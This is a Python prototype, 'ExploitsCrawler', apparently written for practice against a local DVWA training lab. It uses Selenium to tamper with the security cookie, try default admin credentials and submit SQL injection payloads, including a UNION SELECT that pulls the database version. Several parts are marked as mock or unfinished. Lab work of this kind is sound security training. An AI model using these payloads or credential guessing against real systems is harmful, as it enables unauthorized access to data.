"""
ExploitsCrawler v1.0
Author Matthew KELLY
October 2018 
"""
import os
import sys
import datetime

# dependencies
import json
from selenium import webdriver
from selenium.webdriver.firefox.options import Options

def main():
    """ ExploitsCrawler entry. Currrently accepts no arguments as obtains program flow and decision
    from stored user options. This includes URL in scope """

    # get userOptions
    userOptions = UserOptions()
   
    # create report instance and send initial details
    progressAndReport = ProgressAndReport(userOptions)

    # continue trying until no longer viable
    while True:
        try:
            progressAndReport.update_report_text (f"Starting scan of url {userOptions.uo_scan_url} at: {progressAndReport.scanStartTime.ctime()}", False)
            exploitCrawler = ExploitCrawler(userOptions, progressAndReport)
            exploitCrawler.go()
            if progressAndReport.crawlComplete:
                break
        except:
            # check whether completed and level of error
            progressAndReport.update_report_text(f"Unhandled excetion error in module Main() funcion")        
            break


class ExploitCrawler:
    """ ExploitsCrawler class. Creates browser driver object and is main decision making area for Scan and Crawl """
    def __init__(self, userOptions, progressAndReport):
        # initilise variables
        self.userOptions = userOptions
        self.progressAndReport = progressAndReport
        self.vulnerabilityScan = VulnerabilityScan()
        
    def go(self):
        # loop until complete, this is for each webpage identified in scope
        while True:
            try:
                # MTK would need to check for existing scan here!?
                # Create instance of browser
                driver = self.create_browser_driver()
                # perform initia scan, force login in necessary
                self.progressAndReport.update_report_text(f"Starting Initial Scan of Website.")
                self.initial_scan(driver)
                # continue scanning for vulnerabilities
                self.progressAndReport.update_report_text(f"Starting Vulnerability Scan of Website.")
                self.identify_vulnerability(driver)
                # Success? Update flag to stop scan
                self.progressAndReport.update_report_text(f"Scan complete.")
                self.progressAndReport.crawlComplete = True
                break
            except:
                # identify error and continue if appropriate, write log.
                # MTK Keep a record of number of failures, type of failures and cease to reduce chances of endless loop. 
                driver.quit()
                continue

        driver.quit()

    def create_browser_driver(self):
        browser_options = Options()
        # MTK 21/10/2018 Do we want browser to be viewed, less resources if not?
        # browser_options.add_argument("--headless")
        driver = webdriver.Firefox(firefox_options=browser_options)
        driver.get(self.userOptions.uo_scan_url)
        return driver

    def carry_on(self):
        """ MOCK FUNCTION. If the process does fall over, this function could be called to obtain progress 
        and attempt to continue. """
        print("Carry on")

    def initial_scan(self, driver):
        self.vulnerabilityScan.initial_scan(self.userOptions, self.progressAndReport, driver)
            
    def identify_vulnerability(self, driver):
        self.vulnerabilityScan.identify_vulnerabilities(self.userOptions, self.progressAndReport, driver)

class UserOptions:
    """ MOCK. Class to access UserOptions based on interface and database stored options. 
    This could include depth of scan, what to scan for and whether or not to exploit vulnerabilities identified """
    def __init__(self):
        self.uso_cookie = True
        self.uso_sqli = True
        self.uso_get_db_version = True
        self.uso_brute_force = True
        self.uo_scan_url = "http://192.168.5.192"
        self.progressFullName =  os.path.join(os.path.curdir, "progress.txt")
        self.reportFullName = os.path.join(os.path.curdir, "report.txt")
        

class VulnerabilityScan:
    """ Class to scan for Vulnerabilities and report them.
    May attempt to exploit the vulnerability if it needs executing in order to identify or if user options selected accordingly """
    def __init__(self):
        self.pageMap = {}
        self.exploit = Exploit()
        
    def initial_scan(self, userOptions, progressAndReport, driver):
        # MTK could look for a number of pre-deep scan options here.
        # open directories, debug settings, can the db type be identified

        # daft cookie settings being one of them
        if userOptions.uso_cookie:
            progressAndReport.update_report_text(f"Starting Scan for Cookie Exploits.")
            self.exploit.change_cookie_setting('security','value','low', driver)

        # create map of website, with all links in scope
        self.update_page_map(driver)

        # MOCK check if this is a login screen, and then attempt access
        if self.is_login_screen(driver) and userOptions.uso_brute_force:
            if self.exploit.brute_force_login(driver):
                # if login successful, force a new map
                self.pageMap.clear()

    def update_page_map(self, driver):
        # MOCK This would need extending to successfully scan map of website. (MTK different servers, URL vs IP?)
        # current page and all links in scope
        self.pageMap[driver.title]  = driver.current_url
        for aLink in driver.find_elements_by_tag_name("a"):
            # Would ordinarily loop for each link, adding those not already mapped
            #  but also adding new links found on each subsequent webpage
            #  There is no need to add urls that are out of scope     
            self.pageMap.clear()
            self.pageMap["SQL Injection"] = "http://192.168.5.192/vulnerabilities/sqli/"
            return

    def identify_vulnerabilities(self, userOptions, progressAndReport, driver):
        self.update_page_map(driver)
        # go to each mapped page in website within scope and look for vulnerabilities.
        # Only exploit at moment is sqli...
        for eachPage in self.pageMap:
            driver.get(self.pageMap[eachPage])
            if userOptions.uso_sqli:
                self.exploit_sqli(userOptions, progressAndReport, driver)
      
    def is_sqli_options_present(self, driver):
        # MTK Look for text boxes.  (Also need to look for hidden form fields)
        if driver.find_element_by_xpath("//input[@type='text']"):
            return True
        else:
            return False

    def exploit_sqli(self, userOptions, progressAndReport, driver):
        # is there an opportunity to try sql injecton
        if self.is_sqli_options_present(driver):
            # if so try and exploit
            if self.exploit.sqli(driver):    
                progressAndReport.update_report_text(f"SQL injection vulnerability located in page {driver.current_url}.")
                if userOptions.uso_get_db_version:
                    db_version = self.exploit.sqli_get_db_version(driver)
                    progressAndReport.update_report_text(f"SQL injection vulnerability exploited. The following SQL Database version was extracted {db_version}.")    
   
    def is_login_screen(self, driver):
        # options to identify is likely to be login
        # check for Form and keywords. Would ideally get these from database
        # form, login, username, password
        if driver.page_source.find("username") > 0 or driver.page_source.find("password"):
            return True
        return False

class Exploit:
    """ Class to actually exploit those vulnerabilites identified.
    Initially only coded for to change a Cookie setting on MOCK DVWA to set security level low and 
    basic SQLinjection and a Brute Force option."""

    def change_cookie_setting(self, cookie_name, cookie_key, cookie_value, driver):
        cookie = Cookie()
        cookie.change_cookie_setting(cookie_name, cookie_key, cookie_value, driver)
        return True

    def brute_force_login(self, driver):
        brute = BruteForce()
        brute.login(driver)
        return True

    def sqli(self, driver):
        sqli = Sqli()
        if sqli.identify_vulnerability(driver):
            return True

    def sqli_get_db_version(self, driver):
        sqli = Sqli()
        db_version = sqli.get_db_version(driver)
        return db_version

# specific vulnerabilities are better inherited!?
class Cookie:
    """ MOCK? Class to change cookie settings. """
    def change_cookie_setting(self, cookie_name, cookie_key, cookie_value, driver):
        security_cookie = driver.get_cookie(cookie_name)
        security_cookie[cookie_key] = cookie_value
        driver.add_cookie(security_cookie)


class Sqli:
    """ Class to exploit sqli vulnerabilities """
    def get_db_version(self, driver):
        sql_appendage = "' AND 0 UNION SELECT 1,@@VERSION -- "
        driver.find_element_by_name("id").send_keys(sql_appendage)
        driver.find_element_by_name("Submit").click()
        pre_text = driver.find_element_by_xpath("//pre").text
        db_version = pre_text[pre_text.find('Surname: ')+len('Surname: '):]
        return db_version

    def identify_vulnerability(self, driver):
        # check for checks
        # run simple statements and check results
        sql_appendage = "' OR '1'='1 "
        driver.find_element_by_name("id").send_keys(sql_appendage)
        driver.find_element_by_name("Submit").click()
        # get the number of elements returned, shouldn't be more than one
        pre_elements_count = len(driver.find_elements_by_xpath("//pre"))
        if pre_elements_count > 1:
            return True
        else:
            return False

class BruteForce:
    """ MOCK class to exploit brute force option. Would obtain a list of common username/password combinations.
    This would include some form of priority and start with thoses privded by user in Windows Interface screen if provided """
    def login(self, driver):
        driver.find_element_by_name("username").send_keys("admin")
        driver.find_element_by_name("password").send_keys("password")
        driver.find_element_by_name("Login").click()
        # MTK need to check if login successful
        return True

class ProgressAndReport:
    """ Class to keep track on progress and to store Vulnerabilities identified so far, if any. 
    Currently only used text files, but would need expanding for Databases 
    Report is stored a text lines, and Progress would be stored as JSON dump. """
    def __init__(self, userOptions):
        # for now create text files, but edit to DB names
        self.fsProgress = open(userOptions.progressFullName, 'wt')
        self.fsReport = open(userOptions.reportFullName, 'wt')
        self.crawlComplete = False
        self.scanStartTime = datetime.datetime.now()

    def update_progress(self, progress):
        json.dump(progress, self.fsProgress)

    def update_report_text(self, reportText, includeDate = True):
        if includeDate:
            self.fsReport.write(f"{reportText} at: {datetime.datetime.now().ctime()} \n")
        else:
            self.fsReport.write(f"{reportText} \n")

    def store_login_cookie(self):
        return

main()
